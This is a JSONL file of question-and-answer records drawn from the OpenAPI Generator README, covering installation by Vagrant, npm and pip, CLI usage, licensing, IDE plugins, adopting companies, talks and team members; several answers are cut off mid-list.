[Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads).\n ```sh\ngit clone https://github.com/openapitools/openapi-generator.git\ncd openapi-generator\nvagrant up\nvagrant ssh\ncd /vagrant\n./run-in-docker.sh ./mvnw package\n```", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901976"}
{"id": "gh_bf32472f9f2b", "question": "How to: [1.7 - NPM](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "There is also an [NPM package wrapper](https://www.npmjs.com/package/@openapitools/openapi-generator-cli) available for different platforms (e.g. Linux, Mac, Windows). (JVM is still required)\nPlease see the [project's README](https://github.com/openapitools/openapi-generator-cli) there for more information.\n\nInstall it globally to get the CLI available on the command line:\n\n```sh\nnpm install @openapitools/openapi-generator-cli -g\nopenapi-generator-cli version\n```\nTo use a specific version of \"openapi-generator-cli\"\n\n```sh\nopenapi-generator-cli version-manager set 7.18.0\n```\n\nOr install it as dev-dependency:\n\n```sh\nnpm install @openapitools/openapi-generator-cli -D\n```\nYou can use [locally built JARs](https://github.com/OpenAPITools/openapi-generator-cli?tab=readme-ov-file#use-locally-built-jar) or [`SNAPSHOT` versions](https://github.com/OpenAPITools/openapi-generator-cli?tab=readme-ov-file#use-nightly-snapshot-build) as well.", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901983"}
{"id": "gh_41ae868dbf43", "question": "How to: [1.8 - pip](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "> **Platform(s)**: Linux, macOS, Windows\n**Install** via [PyPI](https://pypi.org/) (`java` executable is needed to run):\n\n```\npip install openapi-generator-cli\n```\n\nTo install a specific version\n```\npip install openapi-generator-cli==7.18.0\n```\n\nYou can also install with [jdk4py](https://github.com/activeviam/jdk4py) instead of java binary. (python>=3.10 is required)\n\n```\npip install openapi-generator-cli[jdk4py]\n```\n\nRef: https://github.com/openAPITools/openapi-generator-pip", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901989"}
{"id": "gh_c3895409733a", "question": "How to: [2 - Getting Started](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "To generate a PHP client for [petstore.yaml](https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml), please run the following\n```sh\ngit clone https://github.com/openapitools/openapi-generator\ncd openapi-generator\n./mvnw clean package\njava -jar modules/openapi-generator-cli/target/openapi-generator-cli.jar generate \\\n   -i https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml \\\n   -g php \\\n   -o /var/tmp/php_api_client\n```\n(if you're on Windows, replace the last command with `java -jar modules\\openapi-generator-cli\\target\\openapi-generator-cli.jar generate -i https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml -g php -o c:\\temp\\php_api_client`)\nYou can also download the JAR (latest release) directly from [maven.org](https://repo1.maven.org/maven2/org/openapitools/openapi-generator-cli/7.18.0/openapi-generator-cli-7.18.0.jar)\nTo get a list of **general** options available, please run `java -jar modules/openapi-generator-cli/target/openapi-generator-cli.jar help generate`\n\nTo get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/openapi-generator-cli/target/openapi-generator-cli.jar config-help -g php`", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.901995"}
{"id": "gh_e913a63b6feb", "question": "How to: To generate a sample client library", "question_body": "About OpenAPITools/openapi-generator", "answer": "You can build a client against the [Petstore API](https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml) as follows:\n\n```sh\n./bin/generate-samples.sh ./bin/configs/java-okhttp-gson.yaml\n```\n\n(On Windows, please install [GIT Bash for Windows](https://gitforwindows.org/) to run the command above)\n\nThis script uses the default library, which is `okhttp-gson`. It will run the generator with this command:\n\n```sh\njava -jar modules/openapi-generator-cli/target/openapi-generator-cli.jar generate \\\n  -i https://raw.githubusercontent.com/openapitools/openapi-generator/master/modules/openapi-generator/src/test/resources/3_0/petstore.yaml \\\n  -g java \\\n  -t modules/openapi-generator/src/main/resources/Java \\\n  --additional-properties artifactId=petstore-okhttp-gson,hideGenerationTimestamp=true \\\n  -o samples/client/petstore/java/okhttp-gson\n```\n\nwith a number of options. [The java options are documented here.](docs/generators/java.md)\n\nYou can also get the options with the `help generate` command (below only shows partial results):\n\n```\nNAME\n        openapi-generator-cli generate - Generate code with the specified\n        generator.\n\nSYNOPSIS\n        openapi-generator-cli generate\n                [(-a\n| --auth\n)]\n                [--api-name-suffix\n] [--api-package\n]\n                [--artifact-id\n] [--artifact-version\n]\n                [(-c\n| --config\n)] [--dry-run]\n                [(-e\n| --engine\n)]\n                [--enable-post-process-file]\n                [(-g\n| --generator-name\n)]\n                [--generate-alias-as-model] [--git-host\n]\n                [--git-repo-id\n] [--git-user-id\n]\n                [--global-property\n...] [--group-id\n]\n                [--http-user-agent\n]\n                [(-i\n| --input-spec\n)]\n                [--ignore-file-override\n]\n                [--import-mappings\n...]\n                [--instantiation-types\n...]\n                [--invoker-package\n]\n                [--language-specific-primitives\n...]\n                [--legacy-discriminator-behavior] [--library\n]\n                [--log-to-stderr] [--minimal-update]\n                [--model-name-prefix\n]\n                [--model-name-suffix\n]\n                [--model-package\n]\n                [(-o\n| --output\n)] [(-p\n| --additional-properties\n)...]\n                [--package-name\n] [--release-note\n]\n                [--remove-operation-id-prefix]\n                [--reserved-words-mappings\n...]\n                [(-s | --skip-overwrite)] [--server-variables\n...]\n                [--skip-validate-spec] [--strict-spec\n]\n                [(-t", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25630, "answer_score": 10, "has_code": true, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902007"}
{"id": "gh_246bf49fc292", "question": "How to: [3.1 - Customization](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "Please refer to [customization.md](docs/customization.md) on how to customize the output (e.g. package name, version)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902012"}
{"id": "gh_6b1f6701f9e6", "question": "How to: [3.2 - Workflow Integration (Maven, Gradle, Github, CI/CD)](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "Please refer to [integration.md](docs/integration.md) on how to integrate OpenAPI generator with Maven, Gradle, sbt, Bazel, Github and CI/CD.", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902017"}
{"id": "gh_e2b35d578880", "question": "How to: [3.3 - Online OpenAPI generator](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "Here are the public online services:\n\n- latest stable version: https://api.openapi-generator.tech\n- latest master: https://api-latest-master.openapi-generator.tech (updated with latest master every hour)\n\nThe server is sponsored by [Linode](https://www.linode.com/) [![Linode Logo](https://www.linode.com/media/images/logos/standard/light/linode-logo_standard_light_small.png)](https://www.linode.com/)\n\n(These services are beta and do not have any guarantee on service level)\n\nPlease refer to [online.md](docs/online.md) on how to run and use the `openapi-generator-online` - a web service for `openapi-generator`.", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902022"}
{"id": "gh_779671821213", "question": "How to: [3.4 - License information on Generated Code](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "The OpenAPI Generator project is intended as a benefit for users of the Open API Specification.  The project itself has the [License](#7---license) as specified. In addition, please understand the following points:\n\n* The templates included with this project are subject to the [License](#7---license).\n* Generated code is intentionally _not_ subject to the parent project license\n\nWhen code is generated from this project, it shall be considered **AS IS** and owned by the user of the software.  There are no warranties--expressed or implied--for generated code.  You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate.", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902027"}
{"id": "gh_c220060757f7", "question": "How to: [3.5 - IDE Integration](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "Here is a list of community-contributed IDE plug-ins that integrate with OpenAPI Generator:\n\n- Eclipse: [Codewind OpenAPI Tools for Eclipse](https://www.eclipse.org/codewind/open-api-tools-for-eclipse.html) by [IBM](https://www.ibm.com)\n- IntelliJ IDEA: [OpenAPI Generator](https://plugins.jetbrains.com/plugin/8433-openapi-generator) by [Jim Schubert](https://jimschubert.us/#/)\n- IntelliJ IDEA: [Senya Editor](https://plugins.jetbrains.com/plugin/10690-senya-editor) by [senya.io](https://senya.io)\n- [RepreZen API Studio](https://www.reprezen.com/)\n- Visual Studio: [REST API Client Code Generator](https://marketplace.visualstudio.com/items?itemName=ChristianResmaHelle.ApiClientCodeGenerator) by [Christian Resma Helle](https://christian-helle.blogspot.com/)\n- Visual Studio Code: [Codewind OpenAPI Tools](https://marketplace.visualstudio.com/items?itemName=IBM.codewind-openapi-tools) by [IBM](https://marketplace.visualstudio.com/publishers/IBM)", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902033"}
{"id": "gh_234ecda69686", "question": "How to: [4 - Companies/Projects using OpenAPI Generator](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "Here are some companies/projects (alphabetical order) using OpenAPI Generator in production. To add your company/project to the list, please visit [README.md](README.md) and click on the icon to edit the page.\n\n- [Aalborg University](https://www.aau.dk)\n- [act coding](https://github.com/actcoding)\n- [Adaptant Solutions AG](https://www.adaptant.io/)\n- [adesso SE](https://www.adesso.de/)\n- [adorsys GmbH & Co.KG](https://adorsys.com/)\n- [Adyen](https://www.adyen.com/)\n- [Agoda](https://www.agoda.com/)\n- [Airthings](https://www.airthings.com/)\n- [Aleri Solutions Gmbh](https://www.aleri.de/)\n- [Allianz](https://www.allianz.com)\n- [Angular.Schule](https://angular.schule/)\n- [Aqovia](https://aqovia.com/)\n- [Australia and New Zealand Banking Group (ANZ)](http://www.anz.com/)\n- [Arduino](https://www.arduino.cc/)\n- [ASKUL](https://www.askul.co.jp)\n- [Amazon Web Services (AWS)](https://aws.amazon.com/)\n- [b<>com](https://b-com.com/en)\n- [百度营销](https://e.baidu.com)\n- [Bandwidth](https://dev.bandwidth.com)\n- [Banzai Cloud](https://banzaicloud.com)\n- [BIMData.io](https://bimdata.io)\n- [Bithost GmbH](https://www.bithost.ch)\n- [Bosch Connected Industry](https://www.bosch-connected-industry.com)\n- [Boxever](https://www.boxever.com/)\n- [Brevy](https://www.brevy.com)\n- [Bunker Holding Group](https://www.bunker-holding.com/)\n- [California State University, Northridge](https://www.csun.edu)\n- [CAM](https://www.cam-inc.co.jp/)\n- [Camptocamp](https://www.camptocamp.com/en)\n- [Carlsberg Group](https://www.carlsberggroup.com/)\n- [CERN](https://home.cern/)\n- [Christopher Queen Consulting](https://www.christopherqueenconsulting.com/)\n- [Cisco](https://www.cisco.com/)\n- [codecentric AG](https://www.codecentric.de/)\n- [CoinAPI](https://www.coinapi.io/)\n- [Commencis](https://www.commencis.com/)\n- [ConfigCat](https://configcat.com/)\n- [cronn GmbH](https://www.cronn.de/)\n- [Crossover Health](https://crossoverhealth.com/)\n- [Cupix](https://www.cupix.com/)\n- [Datadog](https://www.datadoghq.com)\n- [DB Systel](https://www.dbsystel.de)\n- [Deeporute.ai](https://www.deeproute.ai/)\n- [Devsupply](https://www.devsupply.com/)\n- [dmTECH GmbH](https://www.dmTECH.de)\n- [DocSpring](https://docspring.com/)\n- [dwango](https://dwango.co.jp/)\n- [Edge Impulse](https://www.edgeimpulse.com/)\n- [Element AI](https://www.elementai.com/)\n- [Embotics](https://www.embotics.com/)\n- [emineo](https://www.emineo.ch)\n- [fastly](https://www.fastly.com/)\n- [Fenergo](https://www.fenergo.com/)\n- [freee](https://corp.freee.co.jp/en/)\n- [FreshCells](https://www.freshcells.de/)\n- [Fuse](https://www.fuse.no/)\n- [Gantner](https://www.gantner.com)\n- [GenFlow](https://github.com/RepreZen/GenFlow)\n- [GetYourGuide](https://www.getyourguide.com/)\n- [Glovo](https://glovoapp.com/)\n- [GMO Pepabo](https://pepabo.com/en/)\n- [GoDaddy](https://godaddy.com)\n- [Gumtree](https://gumtree.com)\n- [Here](https://developer.here.com/)\n- [IBM](https://www.ibm.com/)\n- [Instana](https://www.instana.com)\n- [Interxion](https://www.interxion.com)\n- [Inquisico](https://inquisico.com)\n- [JustStar](https://www.juststarinfo.com)\n- [k6.io](https://k6.io/)\n- [Klarna](https://www.klarna.com/)\n- [Kronsoft Development](https://www.kronsoft.ro/home/)\n- [Kubernetes](https://kubernetes.io)\n- [Landeshauptstadt München - it@M](https://muenchen.digital/it-at-m/)\n- [Linode](https://www.linode.com/)\n- [Logicdrop](https://www.logicdrop.com)\n- [Lumeris](https://www.lumeris.com)\n- [LVM Versicherungen](https://www.lvm.de)\n- [MailSlurp](https://www.mailslurp.com)\n- [Manticore Search](https://manticoresearch.com)\n- [Mastercard](https://developers.mastercard.com)\n- [Médiavision](https://www.mediavision.fr/)\n- [Metaswitch](https://www.metaswitch.com/)\n- [MoonVision](https://www.moonvision.io/)\n- [Myworkout](https://myworkout.com)\n- [NamSor](https://www.namsor.com/)\n- [Neverfail](https://www.neverfail.com/)\n- [NeuerEnergy](https://neuerenergy.com)\n- [Nokia](https://www.nokia.com/)\n- [OneSignal](https://www.onesignal.com/)\n- [Options Clearing Corporation (OCC)](https://www.theocc.com/)\n- [Openet](https://www.openet.com/)\n- [openVALIDATION](https://openvalidation.io/)\n- [Oracle](https://www.oracle.com/)\n- [Paxos](https://www.paxos.com)\n- [Plaid](https://plaid.com)\n- [PLAID, Inc.](https://plaid.co.jp/)\n- [Pinterest](https://www.pinterest.com)\n- [Ponicode](https://ponicode.dev/)\n- [Pricefx](https://www.pricefx.com/)\n- [PrintNanny](https://www.print-nanny.com/)\n- [Prometheus/Alertmanager](https://github.com/prometheus/alertmanager)\n- [Qavar](https://www.qavar.com)\n- [QEDIT](https://qed-it.com)\n- [Qovery](https://qovery.com)\n- [Qulix Systems](https://www.qulix.com)\n- [Raksul](https://corp.raksul.com)\n- [Raiffeisen Schweiz Genossenschaft](https://www.raiffeisen.ch)\n- [RedHat](https://www.redhat.com)\n- [RepreZen API Studio](https://www.reprezen.com/swagger-openapi-code-generation-api-first-microservices-enterprise-development)\n- [REST United](https://restunited.com)\n- [Robocorp](https://www.robocorp.com)\n- [Robotinfra](https://www.robotinf", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902064"}
{"id": "gh_2da4a99e9e39", "question": "How to: [5 - Presentations/Videos/Tutorials/Books](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "- 2018/05/12 - [OpenAPI Generator - community drivenで成長するコードジェネレータ](https://ackintosh.github.io/blog/2018/05/12/openapi-generator/) by [中野暁人](https://github.com/ackintosh)\n- 2018/05/15 - [Starting a new open-source project](http://jmini.github.io/blog/2018/2018-05-15_new-open-source-project.html) by [Jeremie Bresson](https://github.com/jmini)\n- 2018/05/15 - [REST API仕様からAPIクライアントやスタブサーバを自動生成する「OpenAPI Generator」オープンソースで公開。Swagger Codegenからのフォーク](https://www.publickey1.jp/blog/18/rest_apiapiopenapi_generatorswagger_generator.html) by [Publickey](https://www.publickey1.jp)\n- 2018/06/08 - [Swagger Codegen is now OpenAPI Generator](https://angular.schule/blog/2018-06-swagger-codegen-is-now-openapi-generator) by [JohannesHoppe](https://github.com/JohannesHoppe)\n- 2018/06/21 - [Connect your JHipster apps to the world of APIs with OpenAPI and gRPC](https://fr.slideshare.net/chbornet/jhipster-conf-2018-connect-your-jhipster-apps-to-the-world-of-apis-with-openapi-and-grpc) by [Christophe Bornet](https://github.com/cbornet) at [JHipster Conf 2018](https://jhipster-conf.github.io/)\n- 2018/06/22 - [OpenAPI Generator で Gatling Client を生成してみた](https://rohki.hatenablog.com/entry/2018/06/22/073000) at [ソモサン](https://rohki.hatenablog.com/)\n- 2018/06/27 - [Lessons Learned from Leading an Open-Source Project Supporting 30+ Programming Languages](https://speakerdeck.com/wing328/lessons-learned-from-leading-an-open-source-project-supporting-30-plus-programming-languages) - [William Cheng](https://github.com/wing328) at [LinuxCon + ContainerCon + CloudOpen China 2018](http://bit.ly/2waDKKX)\n- 2018/07/19 - [OpenAPI Generator Contribution Quickstart - RingCentral Go SDK](https://medium.com/ringcentral-developers/openapi-generator-for-go-contribution-quickstart-8cc72bf37b53) by [John Wang](https://github.com/grokify)\n- 2018/08/22 - [OpenAPI Generatorのプロジェクト構成などのメモ](https://yinm.info/20180822/) by [Yusuke Iinuma](https://github.com/yinm)\n- 2018/09/12 - [RepreZen and OpenAPI 3.0: Now is the Time](https://www.reprezen.com/blog/reprezen-openapi-3.0-upgrade-now-is-the-time) by [Miles Daffin](https://www.reprezen.com/blog/author/miles-daffin)\n- 2018/10/31 - [A node package wrapper for openapi-generator](https://github.com/HarmoWatch/openapi-generator-cli)\n- 2018/11/03 - [OpenAPI Generator + golang + Flutter でアプリ開発](http://ryuichi111std.hatenablog.com/entry/2018/11/03/214005) by [Ryuichi Daigo](https://github.com/ryuichi111)\n- 2018/11/15 - [基于openapi3.0的yaml文件生成java代码的一次实践](https://blog.csdn.net/yzy199391/article/details/84023982) by [焱魔王](https://me.csdn.net/yzy199391)\n- 2018/11/18 - [Generating PHP library code from OpenAPI](https://lornajane.net/posts/2018/generating-php-library-code-from-openapi) by [Lorna Jane](https://lornajane.net/) at [LORNAJANE Blog](https://lornajane.net/blog)\n- 2018/11/19 - [OpenAPIs are everywhere](https://youtu.be/-lDot4Yn7Dg) by [Jeremie Bresson (Unblu)](https://github.com/jmini) at [EclipseCon Europe 2018](https://www.eclipsecon.org/europe2018)\n- 2018/12/09 - [openapi-generator をカスタマイズする方法](https://qiita.com/watiko/items/0961287c02eac9211572) by [@watiko](https://qiita.com/watiko)\n- 2019/01/03 - [Calling a Swagger service from Apex using openapi-generator](https://lekkimworld.com/2019/01/03/calling-a-swagger-service-from-apex-using-openapi-generator/) by [Mikkel Flindt Heisterberg](https://lekkimworld.com)\n- 2019/01/13 - [OpenAPI GeneratorでRESTful APIの定義書から色々自動生成する](https://ky-yk-d.hatenablog.com/entry/2019/01/13/234108) by [@ky_yk_d](https://twitter.com/ky_yk_d)\n- 2019/01/20 - [Contract-First API Development with OpenAPI Generator and Connexion](https://medium.com/commencis/contract-first-api-development-with-openapi-generator-and-connexion-b21bbf2f9244) by [Anil Can Aydin](https://github.com/anlcnydn)\n- 2019/01/30 - [Rapid Application Development With API First Approach Using Open-API Generator](https://dzone.com/articles/rapid-api-development-using-open-api-generator) by [Milan Sonkar](https://dzone.com/users/828329/milan_sonkar.html)\n- 2019/02/02 - [平静を保ち、コードを生成せよ 〜 OpenAPI Generator誕生の背景と軌跡 〜](https://speakerdeck.com/akihito_nakano/gunmaweb34) by [中野暁人](https://github.com/ackintosh) at [Gunma.web #34 スキーマ駆動開発](https://gunmaweb.connpass.com/event/113974/)\n- 2019/02/20 - [An adventure in OpenAPI V3 code generation](https://mux.com/blog/an-adventure-in-openapi-v3-api-code-generation/) by [Phil Cluff](https://mux.com/blog/author/philc/)\n- 2019/02/26 - [Building API Services: A Beginner’s Guide](https://medium.com/google-cloud/building-api-services-a-beginners-guide-7274ae4c547f) by [Ratros Y.](https://medium.com/@ratrosy) in [Google Cloud Platform Blog](https://medium.com/google-cloud)\n- 2019/02/26 - [Building APIs with OpenAPI: Continued](https://medium.com/@ratrosy/building-apis-with-openapi-continued-5d0faaed32eb) by [Ratros Y.](https://medium.com/@ratrosy) in [Google Cloud Platform Blog](https://medium.com/google-cloud)\n- 2019-03-07 - [OpenAPI Generator で Spring Boot と Angular をタイプセーフに繋ぐ](https://qiita", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902160"}
{"id": "gh_8d61e842b323", "question": "How to: [6 - About Us](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "What's the design philosophy or principle behind OpenAPI Generator?\n\nWe focus on developer experience. The generators should produce code, config, documentation, and more that are easily understandable and consumable by users. We focused on simple use cases to start with (bottom-up approach). Since then the project and the community have grown a lot: 600k weekly downloads via NPM CLI wrapper, 30M downloads via openapi-generator-cli docker image just to highlight a few. We've gradually supported more features (e.g. oneOf, anyOf introduced in OpenAPI 3.0) in various generators and we will continue this approach to deliver something based on our understanding of user demand and what they want, and continue to add support of new features introduced in OpenAPI specification (such as v3.1 and future versions of the OpenAPI specification).", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902169"}
{"id": "gh_6bf2b405b3b3", "question": "How to: [6.1 - OpenAPI Generator Core Team](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "OpenAPI Generator core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis.\n\n#### Core Team Members\n* [@wing328](https://github.com/wing328) (2015/07) [:heart:](https://www.patreon.com/wing328)\n* [@jimschubert](https://github.com/jimschubert) (2016/05) [:heart:](https://www.patreon.com/jimschubert)\n* [@cbornet](https://github.com/cbornet) (2016/05)\n* [@jmini](https://github.com/jmini) (2018/04)  [:heart:](https://www.patreon.com/jmini)\n* [@etherealjoy](https://github.com/etherealjoy) (2019/06)\n\n:heart: = Link to support the contributor directly\n\n#### Template Creator\n\n**NOTE**: Embedded templates are only supported in _Mustache_ format. Support for all other formats is experimental and subject to change at any time.\n\nHere is a list of template creators:\n * API Clients:\n   * Ada: @stcarrez\n   * Apex: @asnelling\n   * Bash: @bkryza\n   * C: @PowerOfCreation @zhemant [:heart:](https://www.patreon.com/zhemant)\n   * C++ Oat++: @Kraust\n   * C++ REST: @Danielku15\n   * C++ Tiny: @AndersSpringborg @kaareHH @michelealbano @mkakbas\n   * C++ UE4: @Kahncode\n   * C# (.NET 2.0): @who\n   * C# (.NET Standard 1.3 ): @Gronsak\n   * C# (.NET 4.5 refactored): @jimschubert [:heart:](https://www.patreon.com/jimschubert)\n   * C# (GenericHost): @devhl-labs\n   * C# (HttpClient): @Blackclaws\n   * Clojure: @xhh\n   * Crystal: @wing328\n   * Dart: @yissachar\n   * Dart (refactor): @joernahrens\n   * Dart 2: @swipesight\n   * Dart (Jaguar): @jaumard\n   * Dart (Dio): @josh-burton\n   * Elixir: @niku\n   * Elm: @eriktim\n   * Eiffel: @jvelilla\n   * Erlang: @tsloughter\n   * Erlang (PropEr): @jfacorro @robertoaloi\n   * Groovy: @victorgit\n   * Go: @wing328 [:heart:](https://www.patreon.com/wing328)\n   * Go (rewritten in 2.3.0): @antihax\n   * Godot (GDScript): @Goutte [:heart:](https://liberapay.com/Goutte)\n   * Haskell (http-client): @jonschoning\n   * Java (Feign): @davidkiss\n   * Java (Retrofit): @0legg\n   * Java (Retrofit2): @emilianobonassi\n   * Java (Jersey2): @xhh\n   * Java (okhttp-gson): @xhh\n   * Java (RestTemplate): @nbruno\n   * Java (Spring 5 WebClient): @daonomic\n   * Java (Spring 6 RestClient): @nicklas2751\n   * Java (RESTEasy): @gayathrigs\n   * Java (Vertx): @lopesmcc\n   * Java (Google APIs Client Library): @charlescapps\n   * Java (Rest-assured): @viclovsky\n   * Java (Java 11 Native HTTP client): @bbdouglas\n   * Java (Apache HttpClient 5.x): @harrywhite4 @andrevegas\n   * Java (Helidon): @spericas @tjquinno @tvallin\n   * Javascript/NodeJS: @jfiala\n   * JavaScript (Apollo DataSource): @erithmetic\n   * JavaScript (Closure-annotated Angular) @achew22\n   * JavaScript (Flow types) @jaypea\n   * Jetbrains HTTP Client : @jlengrand\n   * JMeter: @davidkiss\n   * Julia: @tanmaykm\n   * Kotlin: @jimschubert [:heart:](https://www.patreon.com/jimschubert)\n   * Kotlin (MultiPlatform): @andrewemery\n   * Kotlin (Volley): @alisters\n   * Kotlin (jvm-spring-webclient): @stefankoppier\n   * Kotlin (jvm-spring-restclient): @stefankoppier\n   * Lua: @daurnimator\n   * N4JS: @mmews-n4\n   * Nim: @hokamoto\n   * OCaml: @cgensoul\n   * Perl: @wing328 [:heart:](https://www.patreon.com/wing328)\n   * PHP (Guzzle): @baartosz\n   * PHP (with Data Transfer): @Articus\n   * PowerShell: @beatcracker\n   * PowerShell (refactored in 5.0.0): @wing328\n   * Python: @spacether [:heart:][spacether sponsorship]\n   * Python-Experimental: @spacether [:heart:][spacether sponsorship]\n   * Python (refactored in 7.0.0): @wing328\n   * R: @ramnov\n   * Ruby (Faraday): @meganemura @dkliban\n   * Ruby (HTTPX): @honeyryderchuck\n   * Rust: @farcaller\n   * Rust (rust-server): @metaswitch\n   * Scala (scalaz & http4s): @tbrown1979\n   * Scala (Akka): @cchafer\n   * Scala (sttp): @chameleon82\n   * Scala (sttp4): @flsh86\n   * Scala (scala-sttp4-jsoniter): @lbialy\n   * Scala (Pekko): @mickaelmagniez\n   * Scala (http4s): @JennyLeahy\n   * Swift: @tkqubo\n   * Swift 3: @hexelon\n   * Swift 4: @ehyche\n   * Swift 5: @4brunu\n   * Swift 6: @4brunu\n   * Swift Combine: @dydus0x14\n   * TypeScript (Angular1): @mhardorf\n   * TypeScript (Angular2): @roni-frantchi\n   * TypeScript (Angular6): @akehir\n   * TypeScript (Angular7): @topce\n   * TypeScript (Axios): @nicokoenig\n   * TypeScript (Fetch): @leonyu\n   * TypeScript (Inversify): @gualtierim\n   * TypeScript (jQuery): @bherila\n   * TypeScript (Nestjs): @vfrank66\n   * TypeScript (Node):  @mhardorf\n   * TypeScript (Rxjs): @denyo\n   * TypeScript (redux-query): @petejohansonxo\n   * Xojo: @Topheee\n   * Zapier: @valmoz, @emajo\n * Server Stubs\n   * Ada: @stcarrez\n   * C# ASP.NET 5: @jimschubert [:heart:](https://www.patreon.com/jimschubert)\n   * C# ASP.NET Core 3.0: @A-Joshi\n   * C# APS.NET Core 3.1: @phatcher\n   * C# Azure functions: @Abrhm7786\n   * C# NancyFX: @mstefaniuk\n   * C++ (Qt5 QHttpEngine): @etherealjoy\n   * C++ Oat++: @Kraust\n   * C++ Pistache: @sebymiano\n   * C++ Restbed: @stkrwork\n   * Erlang Server: @galaxie @nelsonvides\n   * F# (Giraffe) Server: @nmfisher\n   * Go S", "tags": ["OpenAPITools"], "source": "github_gists", "category": "OpenAPITools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25630, "answer_score": 10, "has_code": false, "url": "https://github.com/OpenAPITools/openapi-generator", "collected_at": "2026-01-17T08:15:37.902198"}
{"id": "gh_7918e0e9b09b", "question": "How to: [6.2 - OpenAPI Generator Technical Committee](#table-of-contents)", "question_body": "About OpenAPITools/openapi-generator", "answer": "Members of the OpenAPI Generator technical committee shoulder the following responsibilities:\n\n- Provides guidance and direction to other users\n- Reviews pull requests and issues\n- Improves the generator by making enhancements, fixing bugs or updating documentations\n- Sets the technical direction of the generator\n\nWho is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs)\n\nIf you want to join the committee, please kindly apply by sending an email to team@openapitools.org with your Github ID.\n\n#### Members of Technical Committee\n\n| Languages/Generators  | Member (join date)                                                                                                                                                                                                                                    |\n|:----------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| ActionScript          |                                                                                                                                                                                                                                                       |\n| Ada                   | @stcarrez (2018/02) @michelealbano (2018/02)                                                                                                                                                                                                          |\n| Android               | @jaz-ah (2017/09)                                                                                                                                                                                                                                     |\n| Apex                  |                                      